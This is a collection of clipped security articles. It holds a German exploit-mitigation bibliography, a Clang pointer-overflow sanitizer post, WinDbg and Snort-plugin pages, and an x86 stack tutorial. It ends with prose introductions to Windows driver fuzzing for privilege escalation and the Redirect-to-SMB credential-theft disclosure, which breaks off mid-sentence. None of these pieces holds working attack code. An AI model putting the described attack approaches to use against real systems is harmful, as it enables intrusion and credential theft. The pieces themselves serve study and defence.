http://seclists.org/bugtraq/2005/Oct/0118.html, 2005 \(Stand: Januar 2010\).  
  
**► 10.3 Typkonvertierungen in C**  
  
\[DOWD et al. 2007\] Dowd, M.; McDonald, J.; Schuh, J.: The Art of Software
Security Assessment, Addison-Wesley, 2007. Ein Beispielkapitel dieses
empfehlenswerten Buches, in dem Typkonvertierungsfehler und daraus
resultierende Sicherheitsprobleme im Detail beschrieben werden, wird unter
folgender URL zum freien Download
angeboten:http://www.awprofessional.com/content/images/0321444426/samplechapter/Dowd\_ch06.pdf\(Stand:
Januar 2010\).  
  
**► 10.4 Hilfreiche Kommandos des Solaris-Debuggers \(mdb\)**  
  
\[SMDG\] Solaris Modular Debugger Guide,
http://docs.sun.com/app/docs/doc/816-5041 \(Stand: Januar 2010\).  
  
**► 10.5 Hilfreiche Kommandos des Windows-Debuggers \(WinDBG\)**  
  
\[HEWARDT & PRAVAT 2007\] Hewardt, M.; Pravat, D.: Advanced Windows Debugging,
Addison-Wesley Professional, 2007.  
  
**► 10.6 Hilfreiche Kommandos des GNU-Debuggers \(gdb\)**  
  
\[GDBDOC\] GDB Online-Dokumentation,
http://www.gnu.org/software/gdb/documentation/\(Stand: Januar 2010\).  
  
**► 10.7 Exploit-Gegenmaßnahmen**  
  
\[BRAY 2002\] Bray, B.: Compiler Security Checks In Depth,
Microsoft,http://msdn.microsoft.com/en-us/library/aa290051\(VS.71\).aspx, 2002
\(Stand: Januar 2010\).  
  
\[BURRELL 2009\] Burrell, T. \(Microsoft Security Research & Defense\): GS
cookie protection – effectiveness and limitations,
http://blogs.technet.com/srd/archive/2009/03/16/gs-cookie-protection-
effectiveness-and-limitations.aspx \(Stand: Januar 2010\).  
  
\[CHECKSEC\] checksec.sh, http://www.trapkit.de/tools/checksec.html \(Stand:
Januar 2010\).  
  
\[EXECSHIELD\] http://people.redhat.com/mingo/exec-shield/ \(Stand: Januar
2010\).  
  
\[FAN 2009\] Fan, X. \(Visual C++ Team Blog\): /DYNAMICBASE and
/NXCOMPAT,http://blogs.msdn.com/vcblog/archive/2009/05/21/dynamicbase-and-
nxcompat.aspx\(Stand: Januar 2010\).  
  
\[GOOG1\] http://www.google.com/search?q=bypassing+dep  
  
\[GOOG2\] http://www.google.com/search?q=bypassing+aslr  
  
\[GOOG3\] http://www.google.com/search?q=bypassing+stack+cookie  
  
\[HENSING 2009;1\] Hensing, R. \(Microsoft Security Research & Defense\):
Understanding DEP as a mitigation technology part
1,http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-
mitigation-technology-part-1.aspx \(Stand: Januar 2010\).  
  
\[HENSING 2009;2\] Hensing, R. \(Microsoft Security Research & Defense\):
Understanding DEP as a mitigation technology part
2,http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-
mitigation-technology-part-2.aspx \(Stand: Januar 2010\).  
  
\[HOWARD 2008\] Howard, M.: Protecting Your Code with Visual C++
Defenses,http://msdn.microsoft.com/en-us/magazine/cc337897.aspx, 2008 \(Stand:
Januar 2010\).  
  
\[KING 2007\] King, R.: New Leopard Security Features – Part I:
ASLR,http://dvlabs.tippingpoint.com/blog/2007/11/07/leopard-aslr \(Stand:
Januar 2010\).  
  
\[LOOK\] Looking Glass: http://www.erratasec.com/lookingglass.html \(Stand:
Januar 2010\). Dieses hilfreiche Werkzeug untersucht Dateien und laufende
Prozesse hinsichtlich ASLR- und NX-Unterstützung.  
  
\[MSRD 2009\] Microsoft Security Research & Defense: Enhanced GS in Visual
Studio 2010,http://blogs.technet.com/srd/archive/2009/03/20/enhanced-gs-in-
visual-studio-2010.aspx\(Stand: Januar 2010\).  
  
\[OPENUSE\] OpenSUSE Security Features,
http://en.opensuse.org/Security\_Features \(Stand: Januar 2010\).  
  
\[PAX\] Webseite des PaX Teams, http://pax.grsecurity.net/. Siehe
auchhttp://www.grsecurity.net/ \(Stand: Januar 2010\).  
  
\[RUSSINOVICH 2007\] Russinovich, M.: Windows Administration – Inside the
Windows Vista Kernel: Part 3, http://technet.microsoft.com/en-
us/magazine/2007.04.vistakernel.aspx \(Stand: Januar 2010\).  
  
\[SSP\] Stack-Smashing
Protector,http://researchweb.watson.ibm.com/trl/projects/security/ssp/
\(Stand: Januar 2010\).  
  
\[UBUNTU\] Ubuntu Security Features, https://wiki.ubuntu.com/Security/Features
\(Stand: Januar 2010\).  
  
**► 10.8 Das Sun-Solaris-Zonenkonzept**  
  
\[SAG1\] System Administration Guide: Solaris Containers-Resource Management
and Solaris Zones, Sun Microsystems, Inc.,
http://docs.sun.com/app/docs/doc/817-1592 \(Stand: Januar 2010\).  
  
\[SAG2\] System Administration Guide: Security Services, Sun
Microsystems,http://docs.sun.com/app/docs/doc/816-4557 \(Stand: Januar 2010\).  
  
\[SUN\] Die innerhalb dieses Kapitels genutzte Solaris 10-Version lässt sich
in Form der DVD 10/08 x86/x64 unter folgender URL herunterladen:
http://www.sun.com/software/solaris/releases.jsp\(Stand: Januar 2010\).  
  
**► 10.9 Die “GOT Overwrite”-Exploit-Technik**  
  
\[TIS 1995\] Tool Interface Standard \(TIS\) Executable and Linking Format
\(ELF\) Specification, Version 1.2, TIS Committee, Mai 1995,
http://refspecs.freestandards.org/elf/elf.pdf \(Stand: Januar 2010\).  
  
**► 10.10 RELRO**  
  
\[ROHLF 2008\] Rohlf, C.: Self Protecting Global Offset Table \(GOT\), 24.
August 2008, Draft Version 1.4,http://chris.rohlf.googlepages.com/Self-
Protecting-GOT.html \(Stand: March 2010\).  
  
\[TIS 1995\] Tool Interface Standard \(TIS\) Executable and Linking Format
\(ELF\) Specification, Version 1.2, TIS Committee, Mai 1995,
http://refspecs.freestandards.org/elf/elf.pdf \(Stand: Januar 2010\).  
  
**► 10.11 Windows-Kernel-Debugging**  
  
\[VMWARE\] http://www.vmware.com \(Stand: Januar 2010\).  
  
\[WINDBG\] WinDBG ist der offizielle Windows Debugger von
Microsoft,http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx
\(Stand: Januar 2010\).  
  
**► 10.12 Mac OS X-Kernel-Debugging**  
  
\[APPLEGDB\] Apples Variante von gdb,
http://www.opensource.apple.com/tarballs/gdb/gdb-292.tar.gz \(Stand: Januar
2010\).  
  
\[APPLEKDB\] Apples Kernel Debug Kit 10.4.8 für
Intel,ftp://ftp.apple.com/developer/Development\_Kits/Kernel\_Debug\_Kit\_10.4.8\_8L2127.dmg\(Stand:
Januar 2010\).  
  
\[GNUGDB\] GNU-Standardversion von gdb,
http://ftp.gnu.org/pub/gnu/gdb/gdb-5.3.tar.gz\(Stand: Januar 2010\).  
  
\[OSXPATCH\] Patch mit Linux-spezifischen Anpassungen für Apples gdb-
Variante,http://www.trapkit.de/books/bhd/osx\_gdb.patch.  
  
\[RH73\] Exemplarische Download-Links für die Installationsmedien von Red Hat
Linux 7.3: http://ftp-stud.hs-
esslingen.de/Mirrors/archive.download.redhat.com/redhat/linux/7.3/de/iso/  
i386/,
http://mirror.fraunhofer.de/archive.download.redhat.com/redhat/linux/7.3/  
en/iso/i386/ oder
http://mirror.cs.wisc.edu/pub/mirrors/linux/archive.download.  
redhat.com/redhat/linux/7.3/en/iso/i386/ \(Stand: Januar 2010\).  
  
\[XNU\] Offizieller Download-Link der XNU-Kernel-Version
792.13.8:http://www.opensource.apple.com/tarballs/xnu/xnu-792.13.8.tar.gz
\(Stand: Januar 2010\).  

# Catching pointer overflow bugs

**Created:**| _11/20/2013 10:55:13 AM_  
---|---  
**Updated:**| _11/20/2013 10:55:13 AM_  
**Author:**| __  
**Tags:**| _C++ pointers_  
  

#  Catching pointer overflow bugs****

In all varieties of C/C++, pointer arithmetic is undefined if it
overflows**.** That is to say the following example:

[code]

    void invalid(char *p) {
      char *q = p + 1;
      printf("%p\n", p - (uintptr_t)q);
    }
    
[/code]

invokes undefined behavior as it causes the pointer value to wraparound to the
equivalent of `-sizeof(char)`, which is `0xffffffffffffffff` on my 64bit
system**.**

Unlike integer overflows which can be dangerous or benign regardless of
intention \(ICSE12  \[1\]\), pointer overflows are very unlikely to be
intentional and may be the source of a more serious bug resulting in incorrect
behavior or program crashing**.**

## Coming Soon To a Clang Near You****

To address this issue I've built an extension to Clang that checks for pointer
overflows \(`-fsanitize=pointer-overflow`\), and demonstrate its utility by
using it to find bugs in a variety of popular open source applications**.**

This will soon be available in mainline Clang as an addition to the
`-fsanitize=undefined` set of checks, helping reduce dangerous occurrences of
pointer overflow in the wild**.**

In the remainder of this post I describe the dangers of pointer overflow, why
existing tools are not sufficient, and report results from running this tool
on a number of open source applications**.**

## Why Pointer Overflow is Dangerous****

Overflowed pointers can be dangerous in a variety of ways**.** The most
obvious is that an attempt to deference an overflowed pointer will likely
fail**.** These sorts of bugs are already detected by tools such as valgrind
\[3\], asan  \[4\], or SAFECode  \[5\]**.** However these tools are inadequate
for vetting code against pointer overflow in the following ways**.**

### Optimizations Assume No Undefined Behavior****

Today's compilers are increasingly using optimizations that assume code does
not invoke undefined behavior**.** While such optimizations can be useful
\(inferring loop bounds, removing impossible conditions, assertion
inference\), they can also cause unexpected and possibly dangerous
behavior**.** An example of this is the undefined behavior bug in the latest
binutils  I've written about previously**.** By assuming pointer overflow
cannot occur, the code crashes at runtime due to a removed "impossible"
conditional expression**.** Similar optimizations are performed by many
compilers: a table of which compilers perform which undefined behavior
optimizations can be found in a recent SOSP'13 paper  \[2\] by Xi Wang, et al
\(recommended reading\)**.** These optimizations make the existence of
undefined behavior dangerous beyond the direct impact of the value computed by
the undefined expression**.**

### Unintended Behavior Other Than Crashing****

Overflowed pointers can result in a variety of undesired behavior that don't
involve dereferencing the result**.** For example, an overflowed pointer might
be used to compute an incorrect offset or used in a comparison that causes
unintended behavior of the program**.**

Additionally, it's common for data structures \(such as LLVM's DenseMap\) to
reserve some pointer values \(`-1` and `-2`\) as special values that are
invalid to use as keys**.** Through pointer overflow that generates these
values, the data structure might return the wrong value, corrupt its data, or
crash the program**.**

### Early Detection of Vulnerabilities****

Finally, early detection of pointer overflow can help fix a potential
vulnerability without needing to craft a full exploit sufficient to trigger a
memory safety or security policy violation**.**

Together, these make the ability to check index expressions dynamically for
overflow an important part of the testing process that's not well met by
today's tools**.**

## New Sanitizer****

In order to determine how common pointer overflow is in the wild, I've
extended Clang to optionally add instrumentation to check for pointer overflow
and report any occurrences at runtime**.**

Clang already has support for adding similar runtime checks for undefined
behavior as part of `-fsanitize=undefined`, the spiritual successor of our IOC
\(Integer Overflow Checker\)  project**.** The new sanitizer is called
`pointer-overflow`, and will be enabled as part of `-fsanitize=undefined` once
these features are accepted upstream, bringing these important checks to the
numerous users already making use of `-fsanitize=undefined`**.**

The extension is straightforward: it hooks the various places Clang generates
GEP  \[6\] instructions to add additional code that converts the pointer to an
integer and performs checked arithmetic equivalent to the original indexing
expression**.** If the check fails, a call to the sanitizer runtime is made
that reports the error to the user with a diagnostic similar to the following:

****.** /test.c:7:19: runtime error: pointer index expression with base
0x7fffffffd3cb overflowed to 0xffffffffffffffff**

Indicating clearly to the user where in the source the error occurred, as well
as providing relevant diagnostic information to assist in understanding what
happened so it may be fixed**.**

## Pointer Overflows in the Wild****

To motivate the addition of pointer overflow checks to Clang, and to justify
their inclusion in `-fsanitize=undefined`, I built a variety of open-source
software with pointer overflow checks enabled and ran their test-suites**.** I
report some of the bugs found below.

### Self-Host: Testing LLVM and Clang****

A common practice in compilers is to use your compiler to build itself, and
ensure the result still works**.** As part of testing the robustness of the
pointer overflow sanitizer I did this, and was surprised to find that while
LLVM did not overflow any pointers, I did find a bug in Clang's ASTVector
\[7\] data structure**.**

The overflow occurred when attempting to insert nothing to the end of an empty
vector \(simplified slightly\):

[code]

    iterator insert(iterator pos, size_t num, const T &Elt) {
      if (pos == this->end()) {
        append(num, Elt);
        return this->end()-1; // <-- OVERFLOW
      }
      // ..**.**
    }
    
[/code]

This occurred most often when attempting to insert the contents of an empty
range into the vector, and occurs regularly while running Clang's tests**.**

### PCRE 8.33****

The latest version of the Perl Compatible Regular Expression \(PCRE\) library
triggers a pointer overflow in the following code during execution of its
test-suite:

[code]

    static int
    match_ref(int offset, register PCRE_PUCHAR eptr, int length, match_data *md,
      BOOL caseless)
    {
    PCRE_PUCHAR eptr_start = eptr;
    register PCRE_PUCHAR p = md->start_subject + md->offset_vector[offset];
    
[/code]

During execution of the addition in the last line of code**.** Interestingly,
the length parameter is always negative when this expression overflows, which
results in the function to return before using the dangerous pointer**.**

While this does not appear to be dangerous currently, there is debug code
between this calculation and the length check that a future change might cause
to use the faulty pointer value, and inlined calls inlined calls to this
function could be broken by compiler optimizations that rely on the assumption
that this is well-defined**.**

Luckily, this overflow can be easily fixed by moving the later check on length
to the function entry, which is my suggested solution**.**

### curl 7**.** 32****

This program also overflowed a pointer during execution of its tests, in
particular during Test 138**.** Here, a null pointer is decremented causing
the overflow as shown in this excerpt from `ftp**.** c`:

[code]

    char *bytes;
    bytes=strstr(buf, " bytes");
    if(bytes--) {
      // ..**.**
    }
    
[/code]

Which overflows when the string "bytes" is not found and `strstr` returns
`NULL`**.** Because it's invalid to decrement a null pointer, an optimizing
compiler could assume bytes must be non-null and unconditionally execute the
code within**.** While I don't know of a compiler that will take advantage of
this as described, but there's no reason to assume this will be true of next
year's compilers**.**

### FFmpeg 2.0.2****

There was one occurrence of pointer overflow in FFmpeg while running an
instrumented version with its own FATE test suite:

**libavcodec/mpegvideo**.** c:3010:47: runtime error: pointer index expression
with base 0x000000000000 overflowed to 0xfffffffffffffff0**

I've not had a chance to fully investigate this yet, but in the past FFmpeg
has taken integer overflow reports seriously and a quick mailing list search
suggests they have interest in purging pointer overflows as well**.**

### php 5.5**.** 5****

This software contained multiple pointer overflows**.** Two of these are due
to expressions that are evaluated _before_ performing checks that abort the
function**.** These can be easily resolved by moving the indexing expressions
after the safety checks, and are at risk for an optimizing compiler to break
the code as-is**.**

The other two are in macros `EX_TMP_VAR` and `EX_TMP_VAR_NUM`, which are
currently defined as follows:

[code]

    #define EX_TMP_VAR(ex, n)      ((temp_variable*)(((char*)(ex)) + ((int)(n))))
    #define EX_TMP_VAR_NUM(ex, n)  (EX_TMP_VAR(ex, 0) - (1 + (n)))
    
[/code]

Which are used to translate between variable index and variable offsets, which
are intentionally negative but unfortunately expressed as pointers instead of
integer values**.** These macros can be fixed inplace by replacing with the
following messy equivalents:

[code]

    #define EX_TMP_VAR(ex, n)      ((temp_variable*)((zend_uintptr_t)(ex) + sizeof(char)*((int)n)))
    #define EX_TMP_VAR_NUM(ex, n)  ((temp_variable*)((zend_uintptr_t)EX_TMP_VAR(ex, 0) - sizeof(temp_variable)*(1 + (n))))
    
[/code]

Which still produces questionably negative pointers, but through casts instead
of indexing which avoids the undefined behavior**.** It's likely better to
replace these mechanisms altogether with something cleaner**.**

## Conclusion****

Pointer overflow is a common and serious problem that is poorly addressed by
today's tools**.** Soon Clang will have support for finding occurrences of
this class of undefined behavior, ready to be used to help improve the quality
of your code**.**

Enjoy, and happy bug hunting :\).

****

# WinDbg. From A to Z\!

**Created:**| _11/13/2010 4:01:54 PM_  
---|---  
**Updated:**| _11/13/2010 4:02:09 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging windows reversing awesome_  
  

WinDbg. From A to Z\!

  
Everything you need to know about WinDbg.  
And nothing you don't.  
  
Published: Dezember, 2007  
Description: A quick start and introduction to WinDbg. 111 slides with
examples.  
  
**Download Color PDF \(1550 Kb\)**  
**Download Black & White PDF \(580 Kb\)** \(2 slides per page\) - optimal for
printing  
  
  
Japanese Edition By Tsuyoshi Oguni, February 2009  
<img src='img/Temp2_9532.png' width='464px' height='18px' alt='JP description'
/>  
  
**Download Color PDF - JP \(1230 Kb\)**  
**Download Black & White PDF - JP \(980 Kb\)** \(2 slides per page\)

# WireShnork - A Snort plugin for Wireshark | The Honeynet Project
**Created:**| _11/19/2011 8:53:58 PM_  
---|---  
**Updated:**| _11/19/2011 8:53:58 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS network-security awesome_  
  

## WireShnork - A Snort plugin for Wireshark

Thu, 11/17/2011 - 07:43 — guillaume.arcas

GSoC 2011 \#8 project's goal was to add forensics features to the popular
Wireshark network analyzer.

### Overview

Wireshark is an open source network analyzer widely used for network debugging
as well as security analysis. Wireshark provides network  
analyzer with graphical interface as well as command line tools.  
Wireshark also provides network protocol decoders and support filters that
allow to search through packets with keywords.

GSoC plugins extend Wireshark capabilities when Wireshark is used to analyze
network traffic with security and forensic in mind.

Five plugins were developped by Jakub Zawadzki during GSoC 2011:  
\- WireShnork : this plugin allows applying Snort rules on dumped network
tracks.  
\- WireAV : this plugin allows to scan files contained in a dumped network
tracks.  
\- WireBrowse : this plugin allows to access to a Wireshark instance running
on another machine with a web browser.  
\- WireSocks : "proxy" plugin that would allow browsing web pages \(with css,
images, javascript, and other files\) saved in a pcap file  
\- WireViz : this plugin generates connections graphics with GraphViz.

### WireShnork

In this post we will take a closer look at WireShnork plugin.

Snort is an open source network intrusion prevention and detection system
\(IDS/IPS\) developed by Martin Roesch and Sourcefire.  
Snort is a libpcap-based packet sniffer and logger that can categorize network
traffic as suspicious \(either malicious or hostile\) based on  
rules and signatures, just like the way antivirus software categorize files as
infected by scanning its and looking for tracks of infection.

Suppose you have to deal with huge PCAP file containing hundreds if not
thousands of packets. Lot of these packets may be legitimate, some  
abnormal or erroneous and only few suspicious. Digging through the PCAP for
those last ones can be like looking for a needle in a haystack.

A useful way to speed up this search process is to run Snort rules on the PCAP
file as very often suspicious packets are tracks of known  
hostile actions \(like malware\). Packets matching a Snort rule can be logged
in a text file or in a dedicated pcap file. Looking for these  
packets in Wireshark then requires:  
\- to open Snort alert file;  
\- translate a log line into a Wireshark filter;  
\- apply this filter in Wireshark session.

That can be a painful task when there are hundreds of packets matching tens of
different Snort rules as the above steps have to be repeated  
many times...

That is why WireShnork was created for: applying Snort rules on all packets of
a PCAP file and adding a new kind of filter to Wireshark.  
Listing all packets that match a Snort rules can be done by just using the
filter keyword "snort" in the Filter textbox as shown on below pictures:

<img src='img/Temp2_9937.png' width='100' height='43' alt='Wireshnork
overview' />  
<img src='img/Temp2_9939.png' width='100' height='50' alt='Wireshnork Packet
details' />

WireShnork adds a new Filters family that can be used to filter output on
Snort rule's message \(snort.msg\), Snort SID \(Unique Signature ID\) like
this:

<img src='img/Temp2_9940.png' width='100' height='64' alt='Wireshnork -
Filtering with snort.sid keyword' />

Like any other Wireshark filter, snort keywords can be mixed with other
keywords to build more precise filter, like "snort && udp". This will  
output only UDP packets that match Snort signature.

### Installation

Currently WireShnork plugin is provided as a patch to Wireshark's development
version.

Before trying to compile GSoC plugins, you need to have all libraries required
to compile wireshark 1.7 \(development release\) on your computer. That means
that if you can compile wireshark, you should be able to compile it after
having applied GSoC patches.  
If you don't manage to compile a working 1.7 version by itself, then it's
useless to go further.

You also have to have a working Snort installed. GSoC plugins were tested
after having compiled a Snort 2.9.1.2 from sources  
and it works. Should work with packaged version as well.

If all is okay, just grab the plugins code via GIT:  
`$ git clone git://git.honeynet.org/wireshark.git`

You should after that have a new wireshark directory that contains GSoC
patches and the get-wireshark.sh script.

Change version branch with :  
`$ git checkout origin/master-1.7.0`

Then you should be able to run get-wireshark.sh script with `all` argument
like this:  
`$ ./get-wireshark.sh all`

After that and if compilation worked, you will have wireshark under current
directory \(you will be informed at the end of compilation process\).

For WireShnork to work you may have to fix your PATH if Snort binaries are not
in the current PATH.  
Snort \(2.8 or 2.9\) must also be configured in such a way that the user
running Wireshark has access to Snort files.

Note that for WireViz to work you also have to have GraphViz and GraphViz
libraries installed.

#### WireShnork configuration

At first launch, you may be prompted that some Snort configuration files were
not found:  
<img src='img/Temp2_9938.png' width='100' height='45' alt='Wireshnork - Error
message' />

You must fix the path to snort.conf in Edit -> Preferences -> Protocol panel:  
<img src='img/Temp2_9936.png' width='100' height='64' alt='Wireshnork -
WireShnork Preferences' />

Once done you have to Apply this change and you should be ready to use this
plugins.

Let's give a try at this plugin, we're waiting for your feedback.

http://www.honeynet.org/gsoc/slot8  
https://www.honeynet.org/node/716  
http://www.wireshark.org  
http://www.snort.org

A huge thank to Jakub who did a really good job, to HN/P members for their
support \(esp. Jeff\) and to Google GSoC's team for sponsoring.

# Eli Bendersky's website » Blog Archive » Where the top of the stack is on
x86

**Created:**| _9/8/2011 11:20:05 AM_  
---|---  
**Updated:**| _9/8/2011 11:20:05 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  

  

## Where the top of the stack is on x86

February 4th, 2011 at 7:24 am

I’ve noticed more than once that some programmers are confused about the
direction in which the stack grows on x86, and what "top of the stack" and
"bottom of the stack" mean. It appears that this confusion is caused by a
basic mismatch in the way people are used to thinking about stacks, and in the
way the stack on x86 actually behaves \[1\].

In this article, I intend to resolve this confusion with a few helpful
diagrams.

### The stack analogy

Back to the basics. The stack analogy is sometimes demonstrated to new
students of computing with a stack of plates. You push a plate onto the stack
and pop a plate off the stack. The top of the stack is where your next plate
goes when pushing, and from where you take a plate when popping.

<img src='img/Temp2_2570.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/02/plates.png' />

### Hardware stacks

In computers, the stack is usually a specially treated region of memory. In
the abstract sense, the analogy applies – you push data by placing it on the
top of the stack, and pop data by taking it from the top of the stack. Note
that this doesn’t address the issue of where the top of the stack is located
in memory.

### The stack in x86

Herein lies the source of the confusion. Intel’s x86 architecture places its
stack "head down". It starts at some address and grows _down_ to a lower
address. Here’s how it looks:

<img src='img/Temp2_2571.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/02/stack1.png' />

So when we say "top of the stack" on x86, we actually mean the _lowest
address_ in the memory area occupied by the stack. This may be unnatural for
some people \[2\]. As long as we keep the diagram shown above firmly in mind,
however, we should be OK.

While we’re at it, let’s see how some common idioms of x86 assembly
programming map to this graphical representation.

### Pushing and popping data with the stack pointer

The x86 architecture reserves a special register for working with the stack –
ESP \(Extended Stack Pointer\). The ESP, by definition, always points to the
top of the stack:

<img src='img/Temp2_2568.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/02/stack2.png' />

In this diagram, address `0x9080ABCC` is the top of the stack. The word
located in it is some "foo" and ESP contains the address `0x9080ABCC` – in
other words, _points to it_.

To push new data onto the stack we use the `push` instruction \[3\]. What
`push` does is first decrement `esp` by 4, and then store its operand in the
location `esp` points to. So this:

[code]

    push eax
    
[/code]

Is actually equivalent to this:

[code]

    sub esp, 4
    mov [esp], eax
    
[/code]

Taking the previous diagram as the starting point, and supposing that `eax`
held the venerable value `0xDEADBEEF`, after the `push` the stack will look as
follows:

<img src='img/Temp2_2569.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/02/stack3.png' />

Similarly, the `pop` instruction takes a value off the top of stack and places
it in its operand, increasing the stack pointer afterwards. In other words,
this:

[code]

    pop eax
    
[/code]

Is equivalent to this:

[code]

    mov eax, [esp]
    add esp, 4
    
[/code]

So, again, taking the previous diagram \(after the `push`\) as a starting
point, `pop eax` will do the following:

<img src='img/Temp2_2566.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/02/stack4.png' />

And the value `0xDEADBEEF` will be written into `eax`. Note that `0xDEADBEEF`
also stays at address `0x9080ABC8`, since we did nothing to overwrite it yet.

### Stack frames and calling conventions

When looking at assembly code generated from C, you will find a lot of
interesting patterns. Perhaps the most recognizable pattern is the way
parameters are passed into functions using the stack, and the way local
variables are allocated on the stack \[4\].

I’ll demonstrate this with a simple C program:

[code]

    int foobar(int a, int b, int c)
    {
        int xx = a + 2;
        int yy = b + 3;
        int zz = c + 4;
        int sum = xx + yy + zz;
    
        return xx * yy * zz + sum;
    }
    
    int main()
    {
        return foobar(77, 88, 99);
    }
    
[/code]

Both the arguments passed into `foobar` and the local variables of that
function, along with some other data, are going to be stored on the stack when
`foobar` is called. This set of data on the stack is called a _frame_ for this
function. Right before the `return` statement, the stack frame for `foobar`
looks like this:

<img src='img/Temp2_2567.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/02/stackframe1.png' />

The green data were pushed onto the stack by the calling function, and the
blue ones by `foobar` itself.

Compiled with `gcc` into assembly as follows:

[code]

    gcc -masm=intel -S z.c -o z.s
    
[/code]

The following assembly listing is generated for `foobar`. I commented it
heavily for easy understanding:

[code]

    _foobar:
        ; ebp must be preserved across calls. Since
        ; this function modifies it, it must be
        ; saved.
        ;
        push    ebp
    
        ; From now on, ebp points to the current stack
        ; frame of the function
        ;
        mov     ebp, esp
    
        ; Make space on the stack for local variables
        ;
        sub     esp, 16
    
        ; eax <-- a. eax += 2. then store eax in xx
        ;
        mov     eax, DWORD PTR [ebp+8]
        add     eax, 2
        mov     DWORD PTR [ebp-4], eax
    
        ; eax <-- b. eax += 3. then store eax in yy
        ;
        mov     eax, DWORD PTR [ebp+12]
        add     eax, 3
        mov     DWORD PTR [ebp-8], eax
    
        ; eax <-- c. eax += 4. then store eax in zz
        ;
        mov     eax, DWORD PTR [ebp+16]
        add     eax, 4
        mov     DWORD PTR [ebp-12], eax
    
        ; add xx + yy + zz and store it in sum
        ;
        mov     eax, DWORD PTR [ebp-8]
        mov     edx, DWORD PTR [ebp-4]
        lea     eax, [edx+eax]
        add     eax, DWORD PTR [ebp-12]
        mov     DWORD PTR [ebp-16], eax
    
        ; Compute final result into eax, which
        ; stays there until return
        ;
        mov     eax, DWORD PTR [ebp-4]
        imul    eax, DWORD PTR [ebp-8]
        imul    eax, DWORD PTR [ebp-12]
        add     eax, DWORD PTR [ebp-16]
    
        ; The leave instruction here is equivalent to:
        ;
        ;   mov esp, ebp
        ;   pop ebp
        ;
        ; Which cleans the allocated locals and restores
        ; ebp.
        ;
        leave
        ret
    
[/code]

Since `esp` keeps moving as the function executes, `ebp` \(base pointer, also
known as frame pointer in other architectures\) is used as a convenient anchor
relatively to which all function arguments and locals can be found. Arguments
are above `ebp` in the stack \(hence the positive offset when accessing
them\), while locals are below `ebp` in the stack.

<img src='img/Temp2_2565.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| It doesn’t help that some online resources mistakenly call the top of
the stack "bottom". The version presented here is the correct one of x86,
since it relies on terminology defined in Intel’s x86 architecture manuals.  
---|---  
\[2\]| You may try to fix the confusion by viewing memory with its low
addresses at the top and high addresses at the bottom. While this would indeed
make stack movement more natural, it would also mean that increasing some
memory address would take it _down_ in the graphical representation, which is
probably even more counter-intuitive.  
---|---  
\[3\]| There are several instructions x86 defines in the "push family". I’m
demonstrating `push` since it’s the simplest and most generally applicable.  
---|---  
\[4\]| This only applies to some calling conventions and architectures, of
course. In others, some parameters are passed in registers.  
---|---  
Related posts:

  1. Stack frame layout on x86-64

# Fuzzing Windows Drivers Python Reverse Engineering

**Created:**| _3/24/2011 8:43:14 PM_  
---|---  
**Updated:**| _3/24/2011 8:44:19 PM_  
**Author:**| __  
**Tags:**| _windows security hardware windows environment Driver_  
  

## Fuzzing Windows Drivers

Tue, 22 Mar 2011 06:00:58 | Python Reverse
Attacking Windows drivers is becoming commonplace for bug hunters and exploit
developers alike. Although there have been some remote attacks on drivers in
the past few years, it is far more common to use a local attack against a
driver to obtain escalated privileges on the compromised machine. In the
previous chapter, we used Sulley to find a stack overflow in WarFTPD. What we
didn't know was that the WarFTPD daemon was running as a limited user,
essentially the user that had started the executable. If we were to attack it
remotely, we would end up with only limited privileges on the machine, which
in some cases severely hinders what kind of information we can steal from that
host as well as what services we can access. If we had known there was a
driver installed on the local machine that was vulnerable to an overflow1 or
impersonation2 attack, we could have used that driver as a means to obtain
System privileges and have unfettered access to the machine and all its juicy
information.

1 See Kostya Kortchinsky, "Exploiting Kernel Pool Overflows"
\(2008\),http://immunityinc.com/ downloads/KernelPool. odp.

2 See Justin Seitz, "I2OMGMT Driver Impersonation Attack"
\(2008\),http://immunityinc.com/
downloads/DriverImpersonationAttack\_i2omgmt.pdf.

In order for us to interact with a driver, we need to transition between user
mode and kernel mode. We do this by passing information to the driver using
input/output controls \(IOCTLs\), which are special gateways that allow
usermode services or applications to access kernel devices or components. As
with any means of passing information from one application to another, we can
exploit insecure implementations of IOCTL handlers to gain escalated
privileges or completely crash a target system.

We will first cover how to connect to a local device that implements IOCTLs as
well as how to issue IOCTLs to the devices in question. From there we will
explore using Immunity Debugger to mutate IOCTLs before they are sent to a
driver. Next we'll use the debugger's built-in static analysis library,
driverlib, to provide us with some detailed information about a target driver.
We'll also look under the hood of driverlib and learn how to decode important
control flows, device names, and IOCTL codes from a compiled driver file. And
finally we'll take our results from driverlib to build test cases for a
standalone driver fuzzer, loosely based on a fuzzer I released called
ioctlizer. Let's get started.

# SPEAR - Redirect to SMB

**Created:**| _4/13/2015 6:33:13 PM_  
---|---  
**Updated:**| _4/13/2015 6:33:13 PM_  
**Author:**| __  
**Tags:**| _pentest windows environment_  
  

# SPEAR - Redirect to SMB

April 13, 2015 Brian Wallace

Find me on:

Twitter

Share This:

  
  

<img src='img/Temp2_7174.png' alt='rtsmb-banner' />

We’ve uncovered a new technique for stealing sensitive login credentials from
any Windows PC, tablet or server, including ones running previews of the yet-
to-be-released Windows 10 operating system. Software from at least 31
companies including Adobe, Apple, Box, Microsoft, Oracle and Symantec can be
exploited using this vulnerability, which we have dubbed Redirect to SMB.
Carnegie Mellon University CERT disclosed the vulnerability to the public
today \(\#VU672268\), following six weeks of working with vendors to help them
mitigate the issue.

**Redirect to SMB** is a way for attackers to steal valuable user credentials
by hijacking communications with legitimate web servers via man-in-the-middle
attacks, then sending them to malicious SMB \(server message block\) servers
that force them to spit out the victim’s username, domain and hashed password.
We are publishing a white paper that describes the issue in detail, and offers
mitigation methods for both developers and computer users. For technical
details, download the Redirect To SMB white paper.

## Original Attack

The Redirect to SMB attack builds on a vulnerability discovered in 1997 by
